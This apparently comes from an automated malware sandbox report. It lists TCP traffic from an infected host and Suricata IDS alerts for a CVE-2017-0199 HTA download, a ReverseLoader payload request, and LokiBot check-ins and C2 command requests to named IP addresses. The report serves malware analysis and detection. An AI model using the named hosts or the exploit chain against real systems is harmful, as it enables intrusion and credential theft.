Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.46.178.151:80 -> 192.168.2.22:49165

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2858795 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M2 : 192.168.2.22:49165 -> 198.46.178.151:80
Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 198.46.178.151:80 -> 192.168.2.22:49164
Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 198.46.178.151:80 -> 192.168.2.22:49162
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49204 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49204 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49204 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49249 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49249 -> 94.156.177.220:80
